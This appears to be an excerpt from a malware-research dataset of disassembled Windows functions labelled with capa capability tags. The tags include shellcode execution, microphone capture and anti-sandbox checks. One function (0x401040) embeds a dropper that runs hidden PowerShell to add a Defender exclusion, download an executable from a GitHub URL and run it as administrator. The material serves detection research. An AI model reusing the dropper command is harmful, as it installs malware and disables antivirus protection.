joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406570
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x10
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov esi, eax
mov byte [esi], 0xb9
mov dword [esi + 1], ecx
lea eax, [esi + 1]
add eax, 4
mov byte [eax], 0xe9
add eax, 1
sub edx, eax
sub edx, 4
mov dword [eax], edx
lea eax, [ebp - 4]
push eax
push 0x40
push 0x10
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x409420
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov edi, ecx
call fcn.00408e10
push 0x3e8
call dword [sym.imp.Common.dll_void___cdecl_UtilOPCall::Init_unsigned_long_int_]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.Common.dll_int___cdecl_UtilOPCall::AddObjectFactory_struct_ITXOPObjectFactory__]
add esp, 8
push str.20A74D22_29D9_4BC5_9DDC_DF8838612537
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x409472
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40947a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [edi + 4]
push 0
push 0x7d0
push 1
push edx
call dword [sym.imp.USER32.dll_SetTimer]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x409c70
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f50b
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x41be98]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov ecx, dword [0x4119bc]
mov edx, dword [0x4119c0]
xor eax, eax
mov dword [esi + 4], eax
mov dword [esi], vtable.ATL::CComAggObject_class_COPWebBrowser2_.0
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], ecx
mov ecx, dword [0x4119c4]
mov dword [esi + 0x28], edx
mov edx, dword [0x4119c8]
mov dword [esi + 0x2c], ecx
mov ecx, dword [ebp + 8]
mov dword [esi + 0x30], edx
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x18], eax
mov dword [esi + 8], vtable.ATL::CComContainedObject_class_COPWebBrowser2_.1.0
mov dword [esi + 0xc], vtable.ATL::CComContainedObject_class_COPWebBrowser2_.0
mov dword [esi + 0x10], ecx
mov ecx, dword [0x41beb0]
mov edx, dword [ecx]
mov dword [ebp - 4], eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x40d130
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f9f0
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push esi
mov eax, dword [0x41be98]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.8C8040F2_45CC_4007_9E14_B81304C178AC
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x40d17f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40d193
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x18]
push ecx
mov dword [0x41bf78], eax
mov dword [ebp - 0x18], 8
mov dword [ebp - 0x14], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push 0
call dword [sym.imp.ole32.dll_OleInitialize]
mov dword [ebp - 0x10], 0
lea edx, [ebp - 0x10]
push edx
mov dword [ebp - 4], 0
call fcn.0040ce20
add esp, 4
call fcn.0040cfe0
call dword [sym.imp.Common.dll_void___cdecl_TXBugReport::ValidateBugReport_void_]
lea ecx, [ebp - 0x24]
call fcn.0040bfe0
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
push eax
push ecx
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 1
call fcn.004063e0
mov esi, eax
call dword [sym.imp.ole32.dll_OleUninitialize]
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0
call fcn.004065d0
mov eax, dword [ebp - 0x10]
test eax, eax
mov dword [ebp - 4], 0xffffffff
je 0x40d226
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40df3e
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x41be98]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0040de7d
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x40df8d
cmp dword [ebp - 0x1c], 5
jb 0x40dfa5
jmp 0x40dfa1
cmp dword [ebp - 0x10], 1
jne 0x40dfa5
cmp dword [ebp - 0x1c], 4
ja 0x40dfa1
jne 0x40dfa5
cmp dword [ebp - 0x18], 0
jbe 0x40dfa5
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x412e24
call fcn.004012c0
test eax, eax
jge 0x40dfc6
mov byte [0x41bfc0], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040e46c
add ebp, 0x78
leave
ret
Function at 0x40e383
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x41c098], 0
push esi
jne 0x40e2f6
call fcn.0040e221
test eax, eax
je 0x40e339
mov eax, dword [0x41c098]
cmp eax, 1
jne 0x40e317
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40e339
pop esi
ret
push eax
call dword [0x41c0a0]
test eax, eax
jne 0x40e381
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40e33d
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x41c098]
call dword [0x41c0a0]
mov edi, eax
test edi, edi
je 0x40e364
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x40e380
lea edi, [esi + 0xff0]
push esi
push dword [0x41c098]
call dword [0x41c09c]
add esi, 0x10
cmp esi, edi
jb 0x40e36a
mov eax, esi
pop edi
pop esi
ret
jmp 0x40e2e3

Function at 0x40e46c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41be98]
jne 0x40e476
repz ret
jmp fcn.0040e9e8
Function at 0x403d34
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4089dc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x270
lea ecx, [ebp - 0x278]
call sub.MFC42.DLL_CStdioFile::CStdioFile
mov dword [ebp - 4], 0
push 0x432534
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
push 0x4000
push 0x40b148
lea ecx, [ebp - 0x278]
call sub.MFC42.DLL_CStdioFile::Open
test eax, eax
jne 0x403e6d
push 0
push 0x5001
push 0x40b158
lea ecx, [ebp - 0x278]
call sub.MFC42.DLL_CStdioFile::Open
mov dword [ebp - 0x27c], 0
jmp 0x403dc0
mov eax, dword [ebp - 0x27c]
add eax, 1
mov dword [ebp - 0x27c], eax
mov ecx, dword [ebp - 0x27c]
cmp ecx, dword [0x40b058]
jge 0x403e5d
mov edx, dword [ebp - 0x27c]
mov eax, dword [edx*4 + 0x40b074]
mov ecx, dword [ebp - 0x27c]
mov edx, dword [ecx*4 + 0x40b08c]
mov dword [eax], edx
mov eax, dword [ebp - 0x27c]
mov ecx, dword [eax*4 + 0x40b05c]
push ecx
lea edx, [ebp - 0x264]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov eax, dword [ebp - 0x27c]
mov ecx, dword [eax*4 + 0x40b074]
mov edx, dword [ecx]
push edx
push 0x40b168
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [ebp - 0x138]
push ecx
lea edx, [ebp - 0x264]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x278]
call sub.MFC42.DLL_CStdioFile::WriteString
jmp 0x403db1
lea ecx, [ebp - 0x278]
call sub.MFC42.DLL_CStdioFile::Abort
jmp 0x403f23
push 0x12b
lea ecx, [ebp - 0x264]
push ecx
lea ecx, [ebp - 0x278]
call sub.MFC42.DLL_CStdioFile::ReadString
test eax, eax
je 0x403f18
mov dword [ebp - 0x27c], 0
jmp 0x403ea7
mov edx, dword [ebp - 0x27c]
add edx, 1
mov dword [ebp - 0x27c], edx
mov eax, dword [ebp - 0x27c]
cmp eax, dword [0x40b058]
jge 0x403f13
mov ecx, dword [ebp - 0x27c]
mov edx, dword [ecx*4 + 0x40b05c]
push edx
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x403f11
mov ecx, dword [ebp - 0x27c]
mov edx, dword [ecx*4 + 0x40b074]
push edx
push 0x40b16c
mov eax, dword [ebp - 0x27c]
mov ecx, dword [eax*4 + 0x40b05c]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
lea edx, [ebp + eax - 0x264]
push edx
call dword [sym.imp.MSVCRT.dll_sscanf]
add esp, 0xc
jmp 0x403e98
jmp 0x403e6d
lea ecx, [ebp - 0x278]
call sub.MFC42.DLL_CStdioFile::Abort
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x278]
call fcn.004081c6
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x407f00
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
mov word [ebp - 0x14], 1
mov word [ebp - 0x12], 1
mov dword [ebp - 0x10], 0x5622
mov word [ebp - 6], 0x10
mov eax, dword [ebp - 0x12]
and eax, 0xffff
mov ecx, dword [ebp - 6]
and ecx, 0xffff
imul eax, ecx
cdq
and edx, 7
add eax, edx
sar eax, 3
mov word [ebp - 8], ax
mov edx, dword [ebp - 8]
and edx, 0xffff
mov eax, dword [ebp - 0x10]
imul eax, edx
mov dword [ebp - 0xc], eax
mov word [ebp - 4], 0
mov dword [0x4326ac], 0
push 0x10000
push 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x14]
push edx
push 0xffffffffffffffff
push 0x4326ac
call dword [sym.imp.WINMM.dll_waveInOpen]
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
je 0x407fc3
push 0x80
lea eax, [ebp - 0xdc]
push eax
mov ecx, dword [ebp - 0xe0]
push ecx
call dword [sym.imp.WINMM.dll_waveInGetErrorTextA]
push 0
push str.waveInOpenErr
lea edx, [ebp - 0xdc]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
jmp 0x407fc5
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x407fc9
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x4100
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x4326a8], eax
cmp dword [0x4326a8], 0
jne 0x408002
mov eax, dword [0x4326ac]
push eax
call dword [sym.imp.WINMM.dll_waveInClose]
mov byte [0x4326b4], 0
jmp 0x4080e6
mov ecx, dword [0x4326a8]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
jmp 0x40801d
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 8
jge 0x40806b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax*4 + 0x432688], ecx
mov edx, dword [ebp - 8]
add edx, 0x20
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax*4 + 0x432688]
mov edx, dword [ebp - 8]
mov dword [ecx], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax*4 + 0x432688]
mov dword [ecx + 4], 0x800
mov edx, 1
shl edx, 0xb
mov eax, dword [ebp - 8]
add eax, edx
mov dword [ebp - 8], eax
jmp 0x408014
mov dword [ebp - 0xc], 0
jmp 0x40807d
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 8
jge 0x4080c5
push 0x20
mov edx, dword [ebp - 0xc]
mov eax, dword [edx*4 + 0x432688]
push eax
mov ecx, dword [0x4326ac]
push ecx
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4080c3
push 0x20
mov edx, dword [ebp - 0xc]
mov eax, dword [edx*4 + 0x432688]
push eax
mov ecx, dword [0x4326ac]
push ecx
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
mov dword [ebp - 4], eax
jmp 0x408074
cmp dword [ebp - 4], 0
jne 0x4080db
mov edx, dword [0x4326ac]
push edx
call dword [sym.imp.WINMM.dll_waveInStart]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4080e6
call fcn.004080ea
mov esp, ebp
pop ebp
ret
Function at 0x864fa5
Capabilities:
Encode data using xor

Disassembly:
jmp 0x849583
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x84959f
mov edx, dword [esp + 4]
movzx edx, byte [ecx + edx]
rol eax, 7
xor eax, edx
inc ecx
cmp ecx, dword [esp + 8]
jb 0x84958b
jmp 0x8495aa
ret
mov dword [esp], ebp
jmp 0x864ffc
mov byte [esp + 1], bh
mov byte [esp + 1], bh
call 0x864faa
lea esp, [esp + 4]
push esp
pushal
lea esp, [esp + 0x24]
jmp 0x849578

Function at 0xb08093
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
push eax
jmp 0xb05003
call fcn.00b05008
movzx ebx, word [eax + 0x3c]
jmp 0xb08130
mov byte [esp + 1], dh
jmp 0xb0818f
sub eax, 0x10000
jmp 0xb0814b
add ebx, eax
cmp word [ebx], 0x4550
jmp 0xb0816f
cmp word [eax], 0x5a4d
je 0xb07083
jne 0xb08119
lea ecx, [0xda17e49d]
sbb eax, 0xa66b0c9e
jnp 0xb081d2
arpl word [esi], ax
cmc
and byte [esi + 0x61], dh
mov al, byte [0x840f1ae3]
pop ebx
retf 0xffff
sbb cl, byte [edi]
test byte [ebx - 0x36], bl
invalid
je 0xb04bd0
jne 0xb08119
jbe 0xb0816e
or al, 0xff
cmp dword [eax - 0x1a], esp
je 0xb08194
out dx, al
cmp dl, byte [edx + 0x1dee8b1b]
dec cl
push 0x885d228b
je 0xb081b6
out dx, al
sbb eax, 0x68c9fef3
mov esp, dword [edx]
pop ebp
mov byte [esp + 1], dh
push word [esp + 3]
add dword [esi - 1], esp
je 0xb081bb
push dword [esp + 3]
add ecx, dword [ebp - 0x72fddb9c]
and al, 8
lea esp, [esp + 2]
lea esp, [esp + 8]
xor ax, ax
jmp 0xb0814b
mov edi, dword [eax]
mov cl, 0x21
inc eax
mov bl, 0x36
xor byte [edx + 0x7db24720], dh
xor byte ss:[edx + 0x7db24720], dh
xor dh, byte [edi + 0x62b14227]
sub byte [eax + 0x7ba8593e], ch
inc esi
lds edx, [ebp + 0x3c]
iretd
cmp al, 0xcf
or eax, esi
jbe 0xb081bc
cmp dword [esi - 0x56], 0xffffffe2
imul edi, ebx, 0xffffff9e
insd dword es:[edi], dx
or dword [eax], 0xffffff8c
add ah, byte [ebp - 0x6c]
jne 0xb08186
sbb dword [ecx - 0xf15e418], ecx
jp 0xb081d8
invalid
Function at 0x1001fbb
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
xor ebx, ebx
cmp dword [0x10040e0], ebx
jne 0x1002093
cmp dword [0x10040dc], ebx
jne 0x1002093
cmp dword [0x10040e8], ebx
push esi
je 0x1002081
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [0x1004104]
cmp esi, ebx
je 0x1002009
mov edx, dword [0x1004108]
mov ecx, eax
sub ecx, edx
cmp ecx, esi
jb 0x1002081
mov ecx, dword [0x10040ac]
cmp ecx, 0xffffffff
je 0x100201d
sub eax, ecx
cmp eax, 0xc8
jb 0x100208b
push edi
mov edi, dword [sym.imp.USER32.dll_PeekMessageW]
push 3
mov esi, 0x113
push esi
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
mov dword [0x10040e0], 1
call edi
push 3
push esi
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
call edi
push ebx
push ebx
push 0x8000
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, ebx
mov dword [0x10040dc], eax
mov dword [0x10040e0], ebx
pop edi
jne 0x1002074
push ebx
call dword [sym.imp.USER32.dll_SetCursor]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10040ac], eax
jmp 0x100208b
mov dword [0x10040dc], 1
mov eax, dword [0x10040dc]
pop esi
jmp 0x1002095
xor eax, eax
pop ebx
leave
ret 4
Function at 0x10020dd
Capabilities:
Check for unmoving mouse cursor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 0xc]
push esi
xor esi, esi
cmp dword [0x10040d8], esi
push edi
mov edi, dword [sym.imp.USER32.dll_PostMessageW]
jne 0x1002155
cmp dword [0x10040dc], esi
jne 0x1002155
cmp ebx, 0x10
je 0x100228d
cmp ebx, 0x8000
je 0x100226d
cmp dword [0x10040e0], esi
jne 0x1002155
mov eax, 0x104
cmp ebx, eax
ja 0x10021a4
je 0x10021e1
cmp ebx, 0x18
je 0x1002196
cmp ebx, 0x1c
je 0x1002191
cmp ebx, 0x20
je 0x1002182
cmp ebx, 0x48
je 0x100214b
cmp ebx, 0x100
jmp 0x100214f
cmp dword [ebp + 0x10], 3
je 0x10021e1
cmp ebx, dword [0x10040f0]
jne 0x10022b8
cmp ebx, esi
je 0x10022b8
push esi
push esi
push 0x10
push dword [ebp + 8]
call edi
xor eax, eax
cmp dword [0x10040e8], esi
setne al
jmp 0x10022c8
push esi
call dword [sym.imp.USER32.dll_SetCursor]
xor eax, eax
inc eax
jmp 0x10022c8
cmp dword [ebp + 0x10], esi
jmp 0x100214f
cmp dword [ebp + 0x10], esi
je 0x1002155
push esi
call dword [sym.imp.USER32.dll_SetCursor]
jmp 0x1002155
mov eax, ebx
sub eax, 0x200
je 0x1002215
dec eax
je 0x10021e1
sub eax, 3
je 0x10021e1
sub eax, 3
je 0x10021e1
sub eax, 0x11
jne 0x1002155
cmp dword [ebp + 0x10], 6
jb 0x10021e1
cmp dword [ebp + 0x10], 8
jbe 0x10021d7
cmp dword [ebp + 0x10], 0xa
je 0x10021ef
cmp dword [ebp + 0x10], 0x12
jne 0x10021e1
test byte [ebp + 0x14], 1
jne 0x1002155
push esi
push esi
push 0x10
push dword [ebp + 8]
call edi
jmp 0x1002155
lea eax, [ebp - 0x14]
push eax
call sub.KERNEL32.dll_GetSystemPowerStatus
test eax, eax
je 0x1002201
mov al, byte [ebp - 0x14]
jmp 0x1002203
or al, 0xff
cmp al, byte [0x10040a8]
mov byte [0x10040a8], al
jne 0x10021e1
jmp 0x1002155
lea eax, [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov ecx, dword [ebp - 8]
sub ecx, dword [0x1004150]
je 0x1002230
cmp ecx, esi
jge 0x1002230
neg ecx
mov eax, dword [ebp - 4]
sub eax, dword [0x1004154]
je 0x1002241
cmp eax, esi
jge 0x1002241
neg eax
add eax, ecx
cmp eax, dword [0x10040a4]
jbe 0x1002155
push esi
push esi
push 0x10
push dword [ebp + 8]
call edi
mov eax, dword [ebp - 8]
mov dword [0x1004150], eax
mov eax, dword [ebp - 4]
mov dword [0x1004154], eax
jmp 0x1002155
cmp dword [0x1004100], esi
je 0x1002155
mov eax, dword [0x10040e8]
cmp eax, esi
je 0x1002189
push dword [ebp + 8]
call eax
jmp 0x10022c8
cmp dword [0x1004100], esi
je 0x1002155
push dword [ebp + 8]
call fcn.01001fbb
test eax, eax
jne 0x1002155
push 0x1004150
call dword [sym.imp.USER32.dll_GetCursorPos]
xor eax, eax
jmp 0x10022c8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_DefWindowProcW]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x10022d4
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
cmp dword [0x1004100], esi
je 0x1002378
cmp dword [0x10040e4], esi
je 0x10022f8
call fcn.0100209f
lea eax, [ebp - 4]
push eax
push 0x10011e4
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x1002378
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push str.ScreenSaveUsePassword
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100236f
cmp dword [ebp - 0xc], esi
je 0x100236f
push str.PASSWORD.CPL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp eax, esi
mov dword [0x10040e4], eax
je 0x100236f
push str.VerifyScreenSavePwd
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
mov dword [0x10040e8], eax
je 0x100236a
push 1
call fcn.01001d33
jmp 0x100236f
call fcn.0100209f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret

Function at 0x1002840
Capabilities:
Parse pe header

Disassembly:
push 0x28
push 0x10012f8
call fcn.010029c0
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x100287b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100287b
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x1002893
cmp eax, 0x20b
je 0x1002880
mov dword [ebp - 0x1c], edi
jmp 0x10028a7
cmp dword [ecx + 0x84], 0xe
jbe 0x100287b
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x10028a1
cmp dword [ecx + 0x74], 0xe
jbe 0x100287b
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1004158], 0xffffffff
or dword [0x100415c], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1004118]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1004114]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1004160], eax
call fcn.01002a4c
cmp dword [0x10040b4], edi
jne 0x1002902
push fcn.01002a4c
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01002a35
push 0x1004010
push 0x100400c
call sub.msvcrt.dll__initterm
mov eax, dword [0x1004110]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x100410c]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x34], eax
push 0x1004008
push section..data
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x20]
mov ecx, dword [sym.imp.msvcrt.dll___initenv]
mov dword [ecx], eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.01002836
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x1c], edi
jne 0x1002979
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x10029ae
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.010029fb
ret
Function at 0x401040
Capabilities:
Delete file
Execute command
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push str.consoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str..DataAhsokaInExxxile.exe
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push 0x402148
lea eax, [ebp - 8]
push str.C:UsersPublicDocuments_sdc.vbs
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
add esp, 0x10
test eax, eax
jne 0x4010f9
push str.Set_objShell__CreateObject__Shell.Application___n
push dword [ebp - 8]
call fcn.00401010
push str.objShell.ShellExecute__powershell.exe_
push dword [ebp - 8]
call fcn.00401010
push str._____executionpolicy_bypass__windowstyle_hidden
push dword [ebp - 8]
call fcn.00401010
push str._Command__
push dword [ebp - 8]
call fcn.00401010
push str._Add_MpPreference__ExclusionPath_C:__Invoke_WebRequest__Uri_https:__github.com_fawrety_diuytcu_releases_download_s_winapi.exe__OutFile_C:UsersPublicDocuments_steam.exe__Start_Process_C:UsersPublicDocuments_steam.exe_
push dword [ebp - 8]
call fcn.00401010
push 0x4022f8
push dword [ebp - 8]
call fcn.00401010
push str._______runas___0
push dword [ebp - 8]
call fcn.00401010
push dword [ebp - 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x3c
push str.cscript_C:UsersPublicDocuments_sdc.vbs
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.C:UsersPublicDocuments_sdc.vbs
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
xor eax, eax
call fcn.00401124
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401060
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x441070]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x820
lea eax, [ebp - 0x824]
push 0
push eax
call fcn.00412cb0
add esp, 0xc
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x824]
push 0x410
push 0x410
push eax
call fcn.00401050
push dword [eax + 4]
push dword [eax]
call fcn.00418796
add esp, 0x20
cmp word [ebp - 0x824], 0
je 0x4010cc
lea eax, [ebp - 0x824]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00410abf
mov esp, ebp
pop ebp
ret
Function at 0x403190
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x4031c1
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x4031b0
pop edi
mov eax, edx
pop esi
pop ebp
ret 8